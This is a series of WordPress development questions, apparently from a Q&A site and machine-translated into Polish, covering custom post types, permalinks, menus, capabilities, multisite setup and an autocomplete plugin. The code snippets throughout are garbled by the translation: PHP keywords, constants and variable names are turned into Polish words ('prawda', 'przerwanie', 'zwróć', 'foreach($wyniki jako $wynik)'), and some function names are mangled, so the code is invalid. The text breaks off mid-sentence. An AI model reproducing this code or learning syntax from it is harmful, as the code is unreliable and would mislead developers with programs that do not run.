text: Od lat piszę motywy wordpress i zaczyna mi się nudzić kopiowanie i wklejanie tego samego kodu do tytułów archiwalnych. Załóżmy, że mam 1 szablon dla rocznych i miesięcznych archiwów, kategorii, archiwów tagów itp. Mam copypastę, która obejmuje 40 wierszy i jest w zasadzie ogromną rzeczą, która generuje odpowiedni nagłówek. Czy jest coś bardziej rozsądnego/szybkiego do zbudowania tekstu nagłówka?


title: Wymieniasz wszystkie podstrony?

text: Zastanawiam się jak napisać listę podstron aktualnie odwiedzanej strony. Czyli mam 2 strony i 3 podstrony dla każdej: Kolory [strona] - Czerwony [dziecko Kolorów - podstrona] - Niebieski [dziecko Kolorów - podstrona] - Zielony [dziecko Kolorów - podstrona] Liczby [strona] - Jedna [dziecko liczb - podstrona] - dwójka [dziecko liczb - podstrona] - trzy [dziecko liczb - podstrona] A kiedy użytkownik odwiedza stronę "Kolory" to mój kod wyświetla Czerwony/Niebieski/Zielony i jeśli widzi Liczby to pokazuje Raz Dwa Trzy. Jestem pewien, że wp_list_pages zrobi to łatwo, ale nie jestem pewien co do parametrów.


title: Uzyskaj pracę url.com/post_type/taxonomy/term!

text: Mam problem z uzyskaniem tego, czego chcę, mieszając niestandardowe typy postów i taksonomię. **Chcę uruchomić to:** > www.url.com/post_type/taxonomy/term **W moim przypadku to:** > www.url.com/dossier/theme/sante _(sante to termin Taksonomia „thermatiques” _ Kiedy wprowadzam ten adres URL, nie mam 404, ale pokazuje mi wszystkie elementy post-type, niezależnie od taksonomii. Kod taksonomii: register_taxonomy( 'thematiques', array( 'post', 'dossiers','videos' ), array( 'rewrite' => array( 'slug' => 'theme'), 'label' => 'Thématiques ', 'query_var' => prawda, ) ); Kod CPT: function register_cpt_dossiers() { $labels = array( 'name' => _x( 'Dossier', 'dossiers' ), 'singular_name' => _x( 'Dossier', 'dossiers' ), 'all_items' => _x( 'Tous les dossiers', 'dossiers' ), 'add_new' => _x( 'Dodatkowe', 'dossier' ), 'add_new_item' => _x( 'Dodatkowe nowe dossier', 'dossier' ), 'edit_ ' => _x( 'Modifier le dossier', 'dossiers' ), 'new_item' => _x( 'Nouveau dossier', 'dossiers' ), 'view_item' => _x( 'Afficher le dossier', 'dossiers' ) , 'search_items' => _x( 'Chercher dans les dossiers', 'dossiers' ), 'not_found' => _x( 'Aucun dossier trouvé.', 'dossiers' ), 'not_found_in_trash' => uv_un dos( 'Aucun dossier dans la corbeille.', 'dossiers' ), 'parent_item_colon' => _x( 'Rodzic magazynu :', 'dossiers' ), 'menu_name' => _x( 'Dossier', 'dossiers' ), ); $args = array( 'labels' => $labels, 'hierarchical' => true, 'supports' => array( 'title', 'editor', 'thumbnail', 'custom-fields', 'revisions' ), 'taxonomies' => array( 'thematiques'), 'public' => true, 'show_ui' => true, 'show_in_menu' => true, 'menu_position' => 5, 'show_in_nav_menus' => true, 'publicly_queryable' => true, 'exclude_from_search' => false, 'has_archive' => 'dossier', 'query_var' => true, 'can_export' => true, 'rewrite' => array( 'slug' => 'dossier/% thematiques%'), 'capability_type' => 'post' ); register_post_type( 'dossier', $args ); } A oto kod, który poprawnie przekierowuje posty z linkami: function wpa_show_permalinks( $post_link, $id = 0 ) { $post = get_post($id); if ( is_object( $post ) && $post->post_type == 'dossier' ){ $terms = wp_get_object_terms( $post->ID, 'thematiques' ); if( $terms ){ return str_replace( '%thematiques%' , $terms[0]->slug , $post_link ); } } return $post_link; } add_filter( 'post_type_link', 'wpa_show_permalinks', 1, 2 ); Dziękuję za pomoc!


title: Czy jest coś takiego jak jazda testowa motywu dla wtyczek?

text: Zasadniczo zastanawiam się, czy istnieje coś takiego jak jazda testowa motywu (która pozwala używać i prawdopodobnie modyfikować motyw, podczas gdy nie administratorzy widzą inny), ale dla wtyczek. Moim celem jest możliwość dostrojenia/testowania wtyczki, podczas gdy odwiedzający witrynę zobaczą starszą stabilną wersję.


title: pre_get_posts powoduje, że niestandardowe posty pojawiają się w menu „Strony”

text: W celu włączenia stronicowania dla własnego archiwum postów dodałem funkcję pre_get_posts. Ale, co zabawne, spowodowało to, że moje niestandardowe posty zostały zduplikowane w menu „Strony”. Oto kod, który powoduje problem. Proszę doradź. function truck_pre_pagination( $qry ) { if ( $qry->is_main_query() ) { $qry->set('orderby','date'); $qry->set('zamówienie','ASC'); $qry->set('posts_per_page',12); $qry->set('post_type','trucks'); } } add_action('pre_get_posts','truck_pre_pagination');


title: Jaka jest różnica między get_bloginfo('url') a get_site_url()?

text: Rozwijam wtyczkę. Chcę poznać różnicę między get_bloginfo('url'); i get_site_url(); Mam to samo wyjście, więc jaka jest różnica?


title: Ostatnie komentarze na stronie autora?

text: Tworzę stronę author.php i chcę wyświetlać komentarze, a także posty z niestandardowego typu postu. Mam już listę postów, ale szukam efektywnego sposobu wyświetlania również najnowszych komentarzy tego autora. Do tej pory nie znalazłem niczego poza widgetami i nadętymi wtyczkami. Chciałbym to zrobić szczególnie w jednym strumieniu (posty/komentarze), ale rozumiem, czy jest to zbyt trudne :) Dzięki! Dennis


title: Możliwość usuwania_postów?

text: Czy nie powinno to usunąć możliwości usunięcia posta? Nawet jeśli usunę funkcję delete_posts dla edytora, nadal może on skasować post, a następnie trwale usunąć i. To nie może być prawda. Jak usunąć możliwość koszenia/usuwania posta?


title: Jak wywołać stronę statyczną w WordPress

text: Cześć Stworzyłem szablon w moich plikach motywu, tylko do wyświetlania mapy w lightbox. Muszę wywołać tę stronę szablonu z normalnego postu na wordpress, jak mogę to zrobić? Powiedzmy, że w moich plikach motywu mam plik o nazwie map-template.php Z poziomu mojego posta chciałbym wywołać ten plik map-template.php, a także przekazać identyfikator bieżącego posta jako parametr. Dziękuję


title: Dlaczego mój post na blogu zawierał wiele linków reklamowych przez innych?

text: Zauważyłem, że moje posty na blogu zawierają wiele linków reklamowych, używam WordPress 2.9.2, czy jest w nim znana luka w zabezpieczeniach? Zrzut ekranu : zamieszczam na blogu kilka kodów, do których wstawiane są linki reklamowe. ![tutaj podaj opis obrazka](http://i.stack.imgur.com/JWTQ8.png) Usunąłem je ręcznie kilka dni temu i stwierdziłem, że wróciły!


title: Jak zmienić formularz posta z wtyczki?

text: Zaczynam tworzyć wtyczki wordpress, więc jestem początkującym. Zastanawiam się tylko, jak mogę zmienić formę postów na stronach. Na przykład w celu dodania innego wejścia (pliku typu lub tekstu)? Próbuję użyć add_filter('comments_template', 'add_new_fields'); ale nic się nie dzieje.


title: Czy mogę podłączyć się do wp_update_core poza administratorem?

text: Próbuję wprowadzić część funkcji administratora do niestandardowego interfejsu w WordPressie. Pomijając kwestie bezpieczeństwa i pragmatyzmu, czy jest dostępny hak do wyzwalania wp_update_core poza administratorem?


title: jak ukryć link do nawigacji domowej w wordpressie?

text: Staram się ukryć link do nawigacji domowej przed szablonem motywu, który pobrałem z underscores.me. Kodeks Wordpress mówi, że domyślnie nie jest pokazywany, ale czy to robię: <?php wp_page_menu( array( 'show_home' => true ) ); ?> Albo to: <?php wp_page_menu( array( 'show_home' => false ) ); ?> Nadal pokazuje link nawigacyjny strony głównej. Kiedy nie wywołuję funkcji `wp_page_menu`, nie wyświetla ona menu, więc wiem, że to ten, który je wyświetla. Jakieś pomysły, co jest nie tak i czego jeszcze mogę spróbować? Z góry dziękuję!


title: wp_nav_menu link logowania/wylogowania?

text: Mam wp_nav_menu pokazujące strony, ale chciałbym również dołączyć link do logowania/wylogowania, oparty na aktualnym stanie użytkownika, który przekieruje go na stronę główną. Szukałem daleko i szeroko, ale jak mogę to zaimplementować w wp_nav_menu? Dzięki, Dennis


title: Dlaczego $_POST jest pusty w administratorze edycji profilu?

text: To bardzo dziwny problem - dane postów wydają się być puste na stronie edycji profilu administratora. Oto mój kod: http://pastebin.com/3ejg8P99 Co to powoduje? Czy jest jakiś „bezpieczny” krok, który pominąłem, czy coś?


title: Niestandardowe linki bezpośrednie przerywają stronicowanie wyszukiwania

text: Więc mam dziwny problem, którego nigdy nie widziałem. Mam tak skonfigurowany plik search.php: $paged = (get_query_var('paged')) ? get_query_var('stronicowane') : 1; query_posts($query_string . '&paged;=' . $paged); if ( have_posts() ): while ( have_posts() ): the_post(); // publikuj rzeczy endwhile; w przeciwnym razie: endif; paginacja(); Jeśli użyję czegokolwiek poza domyślną strukturą permalink, przerywa paginację i zwraca 404 oraz drugą stronę. Pomysły na mrówki?


title: Jak usunąć pole nazwy użytkownika ze strony rejestracji?

text: Wiem o http://wordpress.org/extend/plugins/wp-email-login/, ale zajmuje się tylko logowaniem - nie rejestracją. Nie chcę żadnego rozwiązania opartego na javascript. (Jestem świadomy Register Plus Redux, ale używa Javascript, aby się tym zająć.) Chcę tylko użyć adresu e-mail jako nazwy użytkownika i chcę sprawdzić, czy istnieje łatwy (ale nie JavaScript) sposób na to dbać o to.


title: Zmodyfikuj wtyczkę wordpress, aby automatycznie uzupełniać taksonomie zamiast tytułu

text:
Od wielu godzin próbowałem zmodyfikować tę wtyczkę, aby działała z niestandardowymi taksonomiami zamiast tytułów postów i/lub treści postów http://wordpress.org/extend/plugins/kau-boys-autocompleter/ Dodano kod / część wtyczka, w której myślę, że należy dokonać modyfikacji. Mógłbym opublikować kilka rzeczy, które wypróbowałem, ale myślę, że to po prostu zdezorientuje ludzi, nie sądzę, żebym kiedykolwiek był blisko. Zwykle mogę doskonale modyfikować kod, ale po prostu nie mogę go znaleźć. Próbowałem tej metody zamieszczonej tutaj. http://wordpress.org/support/topic/autocomplete-taxonomy-in-stead-of-title-or- content Ale nie działa Próbowałem znaleźć możliwe rozwiązanie wokół jego sugestii, ale zaczynam myśleć jego sugestia nie jest nawet bliska naprawienia tego. Nie jestem pewien, czy jest to dozwolone, ale zapłacę 15 $ na paypal każdemu, kto da mi jasne i kompletne rozwiązanie. if (WP_DEBUG) { raportowanie_błędów (E_ALL); } else { raportowanie_błędów(0); } header('Content-Type: text/html; charset=utf-8'); // usuń funkcje filtrujące z relevanssi if(function_exists('relevanssi_kill')) remove_filter('posts_where', 'relevanssi_kill'); if(function_exists('relevanssi_query')) remove_filter('the_posts', 'relevanssi_query'); if(function_exists('relevanssi_kill')) remove_filter('post_limits', 'relevanssi_getLimit'); $wybory = get_option('kau-boys_autocompleter_choices'); $framework = get_option('kau-boys_autocompleter_framework'); $ kodowanie = get_option('kau-boys_autocompleter_encoding'); $searchfields = get_option('kau-boys_autocompleter_searchfields'); $resultfields = get_option('kau-boys_autocompleter_resultfields'); $titlelength = get_option('kau-boys_autocompleter_titlelength'); $contentlength = get_option('kau-boys_autocompleter_contentlength'); if(puste($wybory)) $wybory = 10; if(empty($framework)) $framework = 'jQuery'; if(pusty($kodowanie)) $kodowanie = 'UTF-8'; if(empty($searchfields)) $searchfields = 'oba'; if(empty($resultfields)) $resultfields = 'oba'; if(pusty($długośćtytułu)) $długośćtytułu = 50; if(pusty($długośćzawartości)) $długośćzawartości = 120; mb_internal_encoding (kodowanie $); mb_regex_encoding (kodowanie $); $words = '%'.$_REQUEST['q'].'%'; switch($searchfields){ case 'post_title' : $where = 'post_title LIKE "'.$words.'"'; przerwanie; case 'post_content' : $where = 'post_content LIKE "'.$words.'"'; default : $where = 'post_title LIKE "'.$words." LUB post_content LIKE "'.$words."'; } $wp_query = nowe WP_Query(); $wp_query->query(array( 's' => $_REQUEST['q'], 'showposts' => $choices, 'post_status' => 'publish')); $posty = $wp_query->posty; $wyniki = tablica(); foreach ($posts as $key => $post){ setup_postdata($post); $title = strip_tags(html_entity_decode(get_the_title($post->ID), ENT_NOQUOTES, 'UTF-8')); $content = strip_tags(strip_shortcodes(html_entity_decode(get_the_content($post->ID), ENT_NOQUOTES, 'UTF-8'))); if(mb_strpos(mb_strtolower(($searchfields == 'post_title')? $title : (($searchfields == 'post_content')? $content : $title.$content)), mb_strtolower($_REQUEST['q'] )) !== false){ $results[] = array( 'url' => get_permalink($post->ID), 'title' => highlightSearchString(strtruncate($title, $titlelength, true), $_REQUEST[ 'q']), 'content' => (($resultfields == 'both')? highlightSearchString(strtruncate($content, $contentlength, false, '[...]', $_REQUEST['q']) , $_REQUEST['q']) : '') ); } } printResults($wyniki, $framework); function highlightSearchString($value, $searchString){ if((version_compare(phpversion(), '5.0') < 0) && (strtolower(mb_internal_encoding()) == 'utf-8')){ $value = utf8_encode(html_entity_decode (utf8_decode($wartość))); } $regex_chars = '\.+?(){}[]^$'; for ($i=0; $i<mb_strlen($znaki_regularne); $i++) { $znak = mb_substr($znaki_regularne, $i, 1); $searchString = str_replace($char, '\\'.$char, $searchString); } $searchString = '(.*)('.$searchString.')(.*)'; return mb_eregi_replace($searchString, '\1\2\3', $wartość); } function strtruncate($str, $length = 50, $cutWord = false, $suffix = '...', $igła = ''){ $str = trim($str); if((version_compare(phpversion(), '5.0') < 0) && (strtolower(mb_internal_encoding()) == 'utf-8')){ $str = utf8_encode(html_entity_decode(utf8_decode($str))); }else{ $str = html_entity_decode($str, ENT_NOQUOTES, mb_internal_encoding()); } if(mb_strlen($str)>$długość){ if(!empty($igła) && mb_strpos(mb_strtolower($str), mb_strtolower($igła)) > 0){ $pos = mb_strpos(mb_strtolower($str) , mb_strtolower($igła)) + (mb_strlen($igła) / 2); $startToShort = ($pos - ($długość / 2)) < 0; $endToShort = ($pos + ($długość / 2)) > mb_strlen($str); // zbuduj prefiks i sufiks $prefix = $suffix; if($startToShort){ $prefiks = ''; } if($endToShort){ $suffix = ''; } // ustaw maksymalną długość $długość = $długość - mb_strlen($prefiks) - mb_strlen($sufiks); // pobierz początek if($startToShort){ $start = 0; } elseif($endToShort){ $start = mb_strlen($str) - $długość; } else { $start = $pos - ($długość / 2); } // skróć łańcuch $string = mb_substr($str, $start, $length); if($cutWord){ return $prefix.$string.$suffix; } else { $firstWhitespace = ($startToShort)? 0 : mb_strpos($ciąg, ' '); $lastWhitespace =($endToShort)? mb_strlen($ciąg) : mb_strrpos($ciąg, ' '); zwróć $prefiks.' '.(!empty($lastWhitespace)? mb_substr($string, $firstWhitespace, ($lastWhitespace - $firstWhitespace)) : $string).' '.$przyrostek; } } else { $string = mb_substr($str, 0, $length - mb_strlen($suffix)); return (($cutWord) ? $string : mb_substr($string, 0, mb_strrpos($string, ' ')).' ').$suffix; } } else { return $str; } } function printResults($results, $framework){ if($framework == 'scriptaculous'){ echo '
'; foreach($results as $result){ echo '
  '.$result['title']. ' '.$result['treść'].'
'; } echo '
'; } else { foreach($wyniki jako $wynik){ echo str_replace(array("\n", "\r", '|'), array(' ',' ', '|'), ''.$wynik['tytuł'].'
'.$wynik['treść'].'
') '|' .str_replace(array("\n", "\r", '|'), array(' ',' ', '|'), $result['url']) ."\n"; } } }


title: Archiwum CPT 404 podczas używania niestandardowej nazwy taksonomii jako zmiennej

text: Tak więc używam niestandardowego archiwum typu post i generuję interfejs filtrowania oparty na JavaScript do sortowania wyników. Oto przykład: http://www.inverity.org/sermons/ Teraz chciałbym przekazać zmienne do mojego skryptu, aby umożliwić filtrowanie na podstawie parametrów adresu URL. To działa: http://www.inverity.org/sermons/?presenters=4 Problem w tym, że to nie działa: http://www.inverity.org/sermons/?speakers=4 „speakers” to nazwa używanej przeze mnie niestandardowej taksonomii i jest to wartość, według której chcę filtrować. Jakieś pomysły, dlaczego tak się dzieje? Czy mogę coś zrobić, aby to obejść i zapobiec 404ingowi?


title: Jak jednym kliknięciem pobrać obraz w jednym poście

text: mam attacment.php w ten sposób. <?php if ( $attachments = get_children( array( 'post_type' => 'attachment', 'post_mime_type'=>'image', 'numberposts' => 1, 'post_status' => null, 'post_parent' => $ post->ID ))); foreach ($attachments as $attachment) { echo wp_get_attachment_link( $attachment->ID, '' , false, true, 'Pobierz tę tapetę'); } ?> ten kod wyświetli link do załącznika. Moje pytanie brzmi: Jak sprawić, by ten link był jednym kliknięciem, aby pobrać obraz i zapisać na komputerze użytkownika?


title: Jak uzyskać $atts shortcode

text: Mam następujący shortcode: [video width="400" height="400" mp4="http://xxxx.xxxx.xxx/uploads/2014/06/Facebook.mp4"][/video] każda pojedyncza zmienna, to znaczy potrzebuję czegoś takiego $width = 400 $height = 400 $file = http://xxxx.xxxx.xxx/uploads/2014/06/Facebook.mp4 czy ktoś coś zrobił jak to wcześniej? (Jestem bardzo nowicjuszem w WP)


title: domyślny niestandardowy obraz tła nie jest zapisywany w bazie danych podczas tworzenia nowej witryny

text: Jestem autorem motywu, a stworzony przeze mnie motyw jest używany w środowisku wielostanowiskowym. Dodałem funkcję `custom_background` do tego motywu, z domyślnym obrazem i wszystko działa zgodnie z oczekiwaniami: użytkownik może zmienić obraz i zobaczyć wynik na żywo w Theme Customizer przed umieszczeniem go w Internecie. Oto deklaracja custom_background: add_action('after_setup_theme', 'user83643_theme_features'); function user83643_theme_features(){ add_theme_support( 'custom-background' , array( 'default-color' => '1878A0', 'default-image' => get_template_directory_uri() . '/img/default.jpg', 'wp-head -callback' => '__return_false', )); } Jednakże, gdy w sieci tworzona jest nowa witryna, domyślny obraz nie pojawia się w interfejsie użytkownika. Widzę to w backendzie w konfiguratorze motywów, ale muszę go zapisać raz, aby aktywować go na interfejsie: `get_theme_mod('background_image')` zwraca `false` zanim zapiszę go raz. Masz pomysł, jak zapisać domyślny obraz (i kolor) w bazie danych przy pierwszej aktywacji motywu?


title: Środowisko programistyczne WPMU

text: To jest mój pierwszy raz, kiedy gram z WPMU, próbuję przenieść całą witrynę WPMU do swojej poddomeny dla środowiska programistycznego. Sama strona korzysta z subdomen, więc mam trochę problemów z jej uruchomieniem. Czy ktoś miał już wcześniej to zadanie/problem? Muszę przenieść `http://example.com` na `http://dev.example.com`. Przeniosłem wszystkie pliki do podfolderu i skonfigurowałem je przez serwer, przeniosłem bazę danych do osobnego, zaktualizowałem home & siteurl w tabeli `wp_options`, a mój `wp_config.php` wygląda następująco: define( 'WP_ALLOW_MULTISITE ', PRAWDA ); define( 'WIELOKROTNY', prawda ); define( 'SUBDOMAIN_INSTALL', prawda ); define( 'NOBLOGREDIRECT', 'http://dev.example.com/' ); // dodane przeze mnie tylko w dev $base = '/'; define( 'DOMAIN_CURRENT_SITE', 'dev.example.com' ); zdefiniuj( 'PATH_CURRENT_SITE', '/' ); zdefiniuj( 'SITE_ID_CURRENT_SITE', 1 ); zdefiniuj( 'BLOG_ID_CURRENT_SITE', 1 ); Kiedy próbuję trafić na subdomenę dev w przeglądarce, przekierowuje ona do /wp-signup.php?new=dev.example.com Czy ktoś może pomóc/udzielić wskazówek/cokolwiek?


title: Kalendarz wydarzeń All-in-One: Jak wyświetlić datę wydarzenia?

text: Chcę, żeby pojawiło się coś takiego: Sty 29 Pon 2-21 Nie mogę użyć `<?php echo $event->get_timespan_html(); ?>` ponieważ wyświetliłoby się coś w stylu „13 lipca 2013 o 13:00 – 15:00”. Próbowałem również <?php echo date_i18n( 'M', $timestamp, true) ?> <?php echo date_i18n( 'j', $timestamp, true ) ?> <?php echo date_i18n( 'D', $timestamp, prawda ) ?> <?php echo $event->get_start_time(); ?> – <?php echo $event->get_end_time(); ?> ale z jakiegoś powodu wyświetla tylko 1 stycznia czw 13:00 – 15:00 zamiast poprawnych informacji o wydarzeniu. Pomoc?


title: Weryfikowanie pól profilu niestandardowego buddypress

text: Używam buddypress i oferuję użytkownikom możliwość dodawania linków do swoich sieci społecznościowych (facebook/twitter) poprzez wpisanie adresu URL w niestandardowe pola profilu. Mój problem polega na tym, że ludzie nie mogą podążać za wskazówkami i ciągle wprowadzać niekompletne adresy URL, więc muszę je zweryfikować podczas wypełniania ich podczas edycji profilu i rejestracji. Znalazłem tę miłą małą funkcję do sprawdzenia. function validate_url(url) { if (/^(https?://)?((w{3}.)?)twitter.com/(#!/)?[a-z0-9_]+$/i. test(url)) zwraca 'poprawny'; if (/^(https?://)?((w{3}.)?)facebook.com/.*/i.test(url)) zwraca 'nieprawidłowy'; zwróć „niepoprawny link”; } Moje pytanie brzmi, jak mogę tego użyć w połączeniu z edycją profilu buddypress. Przeniosłem pliki szablonów bp do mojego motywu potomnego i zacząłem wygłupiać się z szablonem edycji pod profilami, ale tak naprawdę nie mogłem się nigdzie dostać. Jakieś pomysły, jak najlepiej to zrobić?


title: Jak aktywować widżety WordPress, ale ich nie wyświetlać?

text: Aktywowałem widżet w mojej witrynie WordPress w panelu administracyjnym, ale na stronie głównej nie chcę go wyświetlać. czy to możliwe?


title: WP 3.1 niestandardowe permlinki typu post

text:
Wiem, że jest dużo dyskusji na temat CPT i permlinków razem z 404. Nie znalazłem rozwiązania, chociaż jestem blisko. Byłoby wspaniale, gdyby ktoś pomógł mi go uruchomić. Ok, co zrobiłem to: function post_type_services() { register_post_type( 'services', array( 'label' => __('Services'), 'singular_name' => __('Service' ), 'capability_type' => 'post ', 'rewrite' => array('slug' => 'service','with_front' => FALSE), 'public' => true, 'show_ui' => true ) ); flush_rewrite_rules (fałsz ); } add_action('init', 'post_type_services'); Dodałem CPT dla usług. Dodałem ślimaka i dodałem również `flush_rewrite_rules(false)` jak sugerowano w wielu postach na blogu. Włączyłem Permlinki z ustawieniami `/%year%/%monthnum%/%postname%` Dodałem plik `single-services.php` który zawiera następującą zawartość <?php get_header(); ?>

 <?php query_posts('post_type=services'); ?> <?php if ( have_posts() ) while ( have_posts() ): the_post(); ?>

<?php the_title(); ?>
 <?php the_content(); ?> <?php wp_link_pages( array( 'before' => '' .__( 'Strony:', 'dwadzieścia' ), 'after' => '' ) ); ?> <?php edit_post_link( __( 'Edytuj', 'dwadzieścia' ), '', '' ); ?>
 <?php endwhile; ?>

Auswahl

 <?php wp_nav_menu( array( ' sort_column' => 'menu_order', 'menu_class' => 'sb_menu', 'theme_location' => 'leftmain' ) ); ?>
 <?php get_sidebar(); ?>

 <?php get_footer(); ?>

 Jak na razie dobrze. To, czego chcę, to. jeśli przechodzę na stronę http://www.mojadomena.com/usługa, chcę zobaczyć moją listę usług, a po kliknięciu jednej usługi chcę wyświetlić pojedynczą usługę. To, co teraz otrzymuję, to przejście na stronę http://www.mydomain.com/service. Otrzymuję błąd 404, ale kiedy odwiedzam http://www.mojadomena.com/service/my-first-service widzę listę usług... Co zrobiłem źle? Jak mogę uzyskać listę usług, kiedy odwiedzam http://www.mojadomena.com/service ? P.S.: Używam szablonu starkers do generowania własnych...


title: Jak ustawić i używać zmiennych globalnych? Albo dlaczego w ogóle ich nie używać

text: AKTUALIZACJA: Moje pierwotne pytanie zostało rozwiązane, ale to zamienia się w ważną dyskusję o tym, dlaczego nie używać zmiennych globalnych, więc aktualizuję pytanie, aby to odzwierciedlić. Rozwiązaniem było `<?php global $category_link_prop; echo esc_url( $category_link_prop ); ?>` jak sugerował @TomJNowell. AKTUALIZACJA 2: Teraz robię dokładnie to, czego chciałem. Ale nadal używam globalnego zasięgu i byłbym szczęśliwy, gdybym znalazł lepszy sposób. Próbuję ustawić całą masę zmiennych globalnych dla permalinków do kategorii, które będą używane w różnych miejscach w moim motywie. _Głównym powodem tego jest użycie zarówno w głównej nawigacji, jak i w serii podrzędnych nawigacji, które są wybierane na podstawie kategorii, w której znajduje się bieżący post._ To nie jest temat, który udostępnię innym osobom , ale jest zbudowany w jednym bardzo konkretnym celu. Tak je obecnie tworzę (wkleiłem tylko kilka zmiennych). function set_global_nav_var() { //propozycja globalna $prop; // Pobierz ID danej kategorii $category_id_prop = get_cat_ID( 'proposal' ); // Pobierz adres URL tej kategorii $category_link_prop = get_category_link( $category_id_prop ); $prop = 'Propozycja'; //Calvinball globalny $cb; // Pobierz ID danej kategorii $category_id_cb = get_cat_ID( 'calvinball' ); // Pobierz adres URL tej kategorii $category_link_cb = get_category_link( $category_id_cb ); $cb = 'Calvinball'; } add_action( 'init', 'set_global_nav_var' ); Mogę teraz zrobić `<?php global $prop; echo $właściwość; ?>` w 4 miejsca, które idzie i odzyskuje cały link do kodu. Kiedy to się zmieni, wystarczy, że zmienię to w jednym miejscu. Jestem otwarty na alternatywy, które nie obejmują zakresu globalnego.


title: Dodatkowa domena działa w Wordpress, ale linki nadal prowadzą do subdomeny

text: Wiem, że to wygląda na częste pytanie i zapewniam, że wypróbowałem kilka odpowiedzi, ale żadna nie działa w moim przypadku. Jestem noobem Wordpress, więc może popełniam podstawowy błąd, którego nie mogę zauważyć. Załączę Cię do odpowiednich stron, abyś mógł łatwo zobaczyć, co się dzieje. Główna domena to: visit-ceed.net Stworzyliśmy dodatkową domenę o nazwie reprezentacija.me, do której można uzyskać dostęp jako subdomena głównej domeny tutaj: http://visit-ceed.net/reprezentacije/. Otwarcie `reprezentacija.me` działa dobrze, ale wszystkie linki nadal prowadzą do subdomeny. Jak uzyskać linki wskazujące domenę dodatku? Zatem zamiast wskazywać na „http://visit-ceed.net/reprezentacije/category/novosti/fudbal/” odpowiedni link powinien przejść do „http://reprezentacija.me/category/novosti/fudbal/”. Oto plik htaccess w katalogu `reprezentacije/`: # BEGIN WordPress <IfModule mod_rewrite.c> Opcje +FollowSymLinks Options -Multiviews RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !- f RewriteCond %{REQUEST_FILENAME} !-d </IfModule> # END WordPress


title: Wyświetlać linki w fragmentach?

text: Mam problem z the_excerpt i nie mogę nigdzie znaleźć odpowiedzi... Chcę po prostu zezwolić na klikanie linków, gdy są wyświetlane przez the_excerpt! Musi być do tego funkcja, a nie polegać na wtyczce. Ale nie mogę go znaleźć, a zaawansowane wtyczki z fragmentami są tak złożone, że nie jestem w stanie znaleźć małego fragmentu, który sprawia, że to działa.


title: Rozpocznij zapytanie od drugiego posta bez przesunięcia

text: czy istnieje szybki i łatwy sposób na załadowanie wszystkich postów, zaczynając od drugiego posta i czyniąc pierwszy post ostatnim postem? Jeśli używam offsetu, tracę wtedy pierwszy post, ale nie chcę go stracić, chcę tylko zmienić kolejność sortowania, tj. pierwszy staje się ostatnim, a drugi pierwszym postem. Dzięki za pomoc.


title: Niestandardowe parametry pliku danych / Zastępowanie szablonu

text: Jestem stosunkowo nowy w programowaniu Wordpress i szukam najlepszego sposobu na dostosowanie danych wyjściowych dla określonej aplikacji JavaScript, która będzie dynamicznie pobierać zawartość, za pomocą wtyczki Wordpress. Mogę zrobić większość tego, co muszę zrobić, zastępując szablon pliku danych, umożliwiając niestandardowe wyniki według wyszukiwanego hasła, tagu i kategorii. Jednak pobieranie pojedynczego posta dla kanału (np. za pomocą zmiennych zapytania p= lub page_id=) nie wydaje się domyślnie opcją. Jaki byłby najlepszy, najczystszy sposób (tj. najmniej konfliktów) na utworzenie niestandardowego wyjścia post/strona? Po prostu dodaj nowy filtr query_var i podłącz do parse_request, dodaj jakoś nowe zmienne zapytania dla kanału lub inną metodę, aby zastąpić szablon dla treści z kodu wtyczki? Dziękuję!


title: Ładowanie stron przez Ajax i wyświetlanie tytułów

text: Mała i możliwie prosta konsultacja. Ładuję strony za pośrednictwem Ajax w następujący sposób: jQuery("div.menu a").addClass("ajax"); var hash = okno.lokalizacja.hasz.substr(1); var href = jQuery('.ajax').each(function(){ var href = jQuery(this).attr('href'); if(hash==href.substr(0,href.length-5)) { var toLoad = hash+'.html #wrapper'; jQuery('#wrapper').load(toLoad) } }); jQuery('a.ajax').click(function(){ var toLoad = jQuery(this).attr('href')+'#wrapper'; jQuery('h2').fadeOut('slow'); jQuery ('#wrapper').animate( { top: '300px', krycie: 0 } ).animate({top:'-300px'}).hide('normal',loadContent); window.location.hash = jQuery (this).attr('href').substr(0,jQuery(this).attr('href').length-5); function loadContent() { jQuery('#wrapper').load(toLoad,' ',showNewContent()) } function showNewContent() { jQuery('#wrapper').show('slow').animate( { top: '0px', opacity: 1 } ); jQuery('h2').fadeIn ('slow'); } return false; }); Robiąc to, wyświetlam również tytuł bieżącej strony w pliku header.php poprzez `echo get_the_title();` . Oczywiście ta funkcja nie jest aktualizowana i moje pytanie brzmi: **Czy istnieje sposób na pobranie tytułu strony załadowanej przez Ajax?**


title: Czy muszę poprzedzać zmienne wewnątrz funkcji?

text: Przepraszam, to jest pytanie noob. Ale chcę postępować zgodnie z najlepszymi praktykami. Czytałem, że funkcje i zmienne globalne powinny być poprzedzone w wtyczkach. Na przykład `mojafunkcja()` powinna być `lax_myplugin_myfunction()`. A zmienną, taką jak `$myvar`, powinna być `$lax_myplugin_myvar`. Czy muszę poprzedzić zmienną, jeśli jest ona w funkcji? Na przykład lax_myplugin_myfunction() { $count = 50; return $liczba; } Czy powinienem przedrostek `$count` i ustawić go `$lax_myplugin_count`? Albo nie muszę się tym przejmować, ponieważ jest to funkcja. Jaka jest najlepsza praktyka? Dziękuję Ci.


title: Niestandardowy typ posta Vs. dane we własnej tabeli

text: Próbuję zacząć od rozwoju WP. Do tej pory używałem go z wtyczkami i motywami innych osób, więc trochę utknąłem. Przeczytałem wiele, wiele, wiele rzeczy o tym, ale nie mogę znaleźć prostej odpowiedzi, kiedy użyć czego. np. Chciałbym stworzyć stronę zamówienia (sklep internetowy bez płatności, po prostu proste zamówienie, które znajduje się w systemie, a administrator ma możliwość sprawdzenia, potwierdzenia, ustawienia statusu zamówienia na "produkty wysłane" i tak dalej). Więc teraz powinienem mieć - użytkowników, artykuły (dystrybuowane w niektórych kategoriach, z kilkoma tagami marki) i zamówienia, a moim planem było stworzenie tabeli wp_MyArticles z menu w desce rozdzielczej wp, gdzie administrator mógł z nią robić pewne rzeczy. Ale potem, 50% ludzi powiedziało mi, żebym NIE zadzierał z bazą danych WP i tworzył własną tabelę, ale raczej używał niestandardowych typów postów z niestandardowymi polami. Przeczytałem ponownie mnóstwo blogów / stron, ale nadal nie jestem pewien, co dostanę z niestandardowym "postem" (artykułem), kiedy muszę go wystawić, wybrać kilka artykułów, dodać je do zamówień. Gdzie składać zamówienia ? Jak stworzyć podstrony, które będą zajmować się zamówieniami, artykułami? A co najważniejsze, staram się znaleźć jak zakodować 